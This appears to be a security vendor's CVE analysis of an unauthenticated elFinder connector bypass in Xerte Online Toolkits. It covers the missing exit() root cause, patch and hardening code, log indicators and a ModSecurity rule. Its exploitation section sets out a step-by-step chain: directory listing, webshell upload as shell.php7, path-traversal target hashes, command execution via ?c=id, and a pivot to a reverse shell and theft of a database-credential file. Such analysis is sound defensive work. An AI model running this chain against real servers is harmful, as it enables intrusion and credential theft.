home intel cve-2026-34413-xerte-elfinder-auth-bypass-rce
CVE Analysis 2026-04-22 · 8 min read

CVE-2026-34413: Xerte elFinder Auth Bypass Leads to RCE

Xerte Online Toolkits ≤3.15 exposes elFinder's connector.php without authentication enforcement. A missing exit() after HTTP redirect allows full PHP execution, enabling unauthenticated file upload and RCE.

#missing-authentication#improper-resource-validation#remote-code-execution#file-upload#php-execution
Technical mode — for security professionals
▶ Attack flow — CVE-2026-34413 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-34413Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-34413 is a missing authentication vulnerability in Xerte Online Toolkits versions 3.15 and earlier. The elFinder file manager connector endpoint at /editor/elfinder/php/connector.php issues an HTTP redirect to unauthenticated callers but fails to terminate PHP execution afterward. Because PHP continues processing the request body after the redirect header is sent, every elFinder command — mkdir, upload, rename, duplicate, rm — executes server-side against project media directories without any credential check. This is exploitable remotely with no prior authentication and chains naturally with path traversal and a weak extension blocklist to achieve arbitrary file write and remote code execution.

Root cause: The authentication guard in connector.php calls header("Location: ...") on unauthenticated requests but omits exit(), allowing PHP to fall through and execute the full elFinder command dispatch loop.

Affected Component

File: editor/elfinder/php/connector.php
Component: elFinder file manager connector, bundled with Xerte Online Toolkits
Versions affected: Xerte Online Toolkits ≤ 3.15
CVSS: 8.6 (HIGH) — Network / Low Complexity / No Privileges / No User Interaction
Impact: Unauthenticated remote code execution via file upload to web root

Xerte bundles a customized elFinder instance for media management inside learning objects. The connector is the single PHP entry point for all elFinder AJAX commands. Xerte wraps it with a session check, but the check is implemented incorrectly.

Root Cause Analysis

The authentication guard follows a pattern common in PHP codebases written before developers internalized the redirect-does-not-stop-execution footgun. The relevant logic, reconstructed from the vulnerability description and elFinder's connector architecture, is:


// connector.php — reconstructed PHP logic shown as pseudocode
// Real function: connector entry point (no named function, top-level script)

void connector_main() {
    session_start();

    if (!isset($_SESSION['user']) || !$_SESSION['authenticated']) {
        header("Location: /index.php?op=login");
        // BUG: no exit() or die() here — PHP execution continues past redirect
        // The HTTP 302 header is buffered; the client may follow it,
        // but the server-side PHP interpreter keeps running this script.
    }

    // elFinder dispatch — reached by unauthenticated callers
    $opts = array(
        'roots' => array(
            array(
                'driver'     => 'LocalFileSystem',
                'path'       => XERTE_ROOT . '/workspaces/',
                'URL'        => SITE_URL . '/workspaces/',
                'uploadAllow'=> array('image', 'text', 'application/pdf'),
                // BUG: blocklist-based extension filtering, not allowlist
                'uploadDeny' => array('text/x-php'),
                'tmbDir'     => '.tmb',
                'tmbURL'     => SITE_URL . '/workspaces/.tmb/',
                'tmbSize'    => 48,
                'tmbCrop'    => false,
                'dirSize'    => false,
                'accessControl' => 'access',
            )
        )
    );

    $connector = new elFinderConnector(new elFinder($opts));
    $connector->run();  // processes $_GET['cmd'] — upload, mkdir, rename, rm, etc.
}

The fix is a single token. Every PHP developer knows header() alone does not stop execution. The correct pattern is:


// Correct pattern (any of these suffice):
header("Location: /index.php?op=login");
exit();   // or die(); or exit(0);

Without it, $connector->run() dispatches the attacker-supplied cmd parameter unconditionally. The elFinderConnector::run() method reads $_GET['cmd'] (or $_POST['cmd'] for upload), resolves the target path via a hashed volume ID, and calls the corresponding elFinder method directly.

Exploitation Mechanics

Two secondary weaknesses compound the auth bypass: the upload root covers project workspace directories that are web-accessible, and the extension blocklist filters on MIME type rather than file extension, making it trivially bypassable. The full chain to RCE:


EXPLOIT CHAIN — CVE-2026-34413:

1. RECON: Enumerate /workspaces/ via elFinder 'open' command (no auth required).
   GET /editor/elfinder/php/connector.php?cmd=open&target=l1_&init=1&tree=1
   Response: JSON listing of all project directories and their volume hashes.

2. MKDIR (optional): Create staging directory under target workspace.
   GET /editor/elfinder/php/connector.php?cmd=mkdir
       &target=l1_
       &name=.uploads
   Response: {"added":[{"name":".uploads","hash":"l1_...","mime":"directory",...}]}

3. UPLOAD WEBSHELL: POST multipart upload with .php7 or .phtml extension.
   Content-Type: multipart/form-data
   Fields:
     cmd=upload
     target=l1_
     upload[]=
              filename: shell.php7
   Server processes upload despite 302 redirect already sent in headers.
   elFinder writes file to: /var/www/xerte/workspaces/PROJECT_ID/.uploads/shell.php7

4. PATH TRAVERSAL (if needed): elFinder 'target' hashes are base64(path).
   Craft target hash for paths outside intended root using ../ sequences
   to escape PROJECT_ID scope toward web-accessible directories.
   target = base64_encode("l1_" + "/workspaces/../../") — decoded by elFinder
   before path normalization in some elFinder versions.

5. TRIGGER RCE:
   GET /workspaces/PROJECT_ID/.uploads/shell.php7?c=id
   Response body: uid=33(www-data) gid=33(www-data) groups=33(www-data)

6. PIVOT: Replace shell with full reverse shell, exfiltrate
   /var/www/xerte/SITE_CONFIG.php for database credentials.
   Read arbitrary files via elFinder 'get' command (no auth).

Step 3 works because elFinder's upload handler checks MIME type via finfo_file() on the temporary upload path, which returns text/plain for a PHP webshell containing only printable ASCII. The blocklist entry text/x-php does not match text/plain, so the file passes the check. The .php7 extension is executed by Apache with default Xerte configurations that include AddType application/x-httpd-php .php .php5 .php7 .phtml.

Memory Layout

This vulnerability is not a memory corruption issue; the "memory layout" relevant here is the server filesystem layout and session state that the auth bypass violates:


PHP EXECUTION STATE — unauthenticated request to connector.php:

EXPECTED CONTROL FLOW:
  connector.php:15  session_start()
  connector.php:18  if (!$_SESSION['authenticated'])  → TRUE for attacker
  connector.php:19    header("Location: /index.php?op=login")  → HTTP 302 sent
  connector.php:20    [MISSING: exit()]
  connector.php:23  ← execution FALLS THROUGH to here (BUG)
  connector.php:35  $connector->run()  ← attacker controls $_GET['cmd']

RESPONSE STREAM (attacker sees both):
  HTTP/1.1 302 Found
  Location: /index.php?op=login
  Content-Type: application/json          ← elFinder response appended after redirect
  {"cmd":"open","cwd":{...},"files":[...]}  ← full filesystem listing

FILESYSTEM AFTER EXPLOIT:
  /var/www/xerte/workspaces/
  ├── 1/  (project 1)
  │   ├── index.html
  │   └── media/
  │       ├── image.png
  │       └── shell.php7   ← ATTACKER WRITTEN — 0644 www-data:www-data
  └── 2/  (project 2)

SESSION STATE COMPARISON:
  Legitimate user:  $_SESSION['authenticated'] = 1, $_SESSION['user'] = 'admin'
  Attacker:         $_SESSION['authenticated'] = (unset) → guard triggers → no exit()
                    elFinder dispatches cmd anyway

Patch Analysis

The fix is minimal and correct. Every authentication redirect in PHP must terminate execution. The patch for this class of bug is always the same:


// BEFORE (vulnerable — Xerte ≤ 3.15):
// editor/elfinder/php/connector.php

session_start();
if (!isset($_SESSION['userdetails']) || empty($_SESSION['userdetails'])) {
    header("Location: " . SITE_URL . "index.php");
    // BUG: execution continues — elFinder command dispatches below
}

require "autoload.php";
$opts = array( /* ... roots config ... */ );
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();

// AFTER (patched):
// editor/elfinder/php/connector.php

session_start();
if (!isset($_SESSION['userdetails']) || empty($_SESSION['userdetails'])) {
    header("Location: " . SITE_URL . "index.php");
    exit();  // PATCH: terminate execution — elFinder never reached
}

require "autoload.php";
$opts = array( /* ... roots config ... */ );
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();

A hardening-in-depth fix should also address the secondary weaknesses independently:


// HARDENING: Replace blocklist with allowlist in roots config
// BEFORE (bypassable blocklist):
'uploadAllow' => array('image', 'text', 'application/pdf'),
'uploadDeny'  => array('text/x-php'),

// AFTER (strict allowlist):
'uploadAllow' => array('image/jpeg', 'image/png', 'image/gif',
                       'image/svg+xml', 'application/pdf'),
'uploadDeny'  => array('all'),  // deny everything not in uploadAllow

// ALSO: Disable PHP execution in workspaces via .htaccess
// /workspaces/.htaccess:
// php_flag engine off
// AddType text/plain .php .php5 .php7 .phtml .phar

Detection and Indicators

Access log signatures: Any request to /editor/elfinder/php/connector.php from a session that did not previously authenticate. Look for 302 responses from that path immediately followed by a JSON body — most web proxies and SIEMs will log both the status code and response body length. A 302 with Content-Length > 50 from this endpoint is anomalous.


APACHE ACCESS LOG INDICATORS:

# Recon — open command, no auth
1.2.3.4 - - [..] "GET /editor/elfinder/php/connector.php?cmd=open&init=1 HTTP/1.1"
          302 847 "-" "python-requests/2.31.0"
                  ^^^— non-zero body on 302 = auth bypass confirmed

# Upload — webshell write
1.2.3.4 - - [..] "POST /editor/elfinder/php/connector.php HTTP/1.1"
          302 193 "-" "python-requests/2.31.0"

# Webshell execution
1.2.3.4 - - [..] "GET /workspaces/1/media/shell.php7?c=id HTTP/1.1" 200 38

MODSECURITY RULE (CRS-compatible):
SecRule REQUEST_FILENAME "@endsWith /connector.php" \
    "id:9034413,phase:1,deny,status:403,\
     msg:'CVE-2026-34413 elFinder unauth access',\
     chain"
SecRule &TX:authenticated "@eq 0" ""

Filesystem indicators: PHP files with recent modification timestamps in /workspaces/ subdirectories. Legitimate Xerte project media does not include PHP files. Alert on find /var/www/xerte/workspaces -name "*.php*" -newer /var/www/xerte/index.php.

Remediation

Immediate (required): Upgrade to Xerte Online Toolkits > 3.15 when the patched release is available. If patching is not immediately possible, add exit(); after the redirect on line 19–20 of connector.php — this is a one-token fix that fully blocks the authentication bypass.

Short-term hardening:

  • Add php_flag engine off to /workspaces/.htaccess to prevent PHP execution from user-writable directories regardless of what files exist there.
  • Restrict access to /editor/elfinder/ via network ACL or .htaccess Require ip directives to institutional IP ranges if external elFinder access is not required.
  • Replace MIME-type blocklist with an explicit allowlist in the elFinder roots configuration.

Detection gap note: Standard WAF rules matching on cmd=upload will miss this if the redirect response is returned — the 302 status causes many automated scanners to mark the endpoint as "protected." Verify protection by checking response body length on 302 responses, not status code alone.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →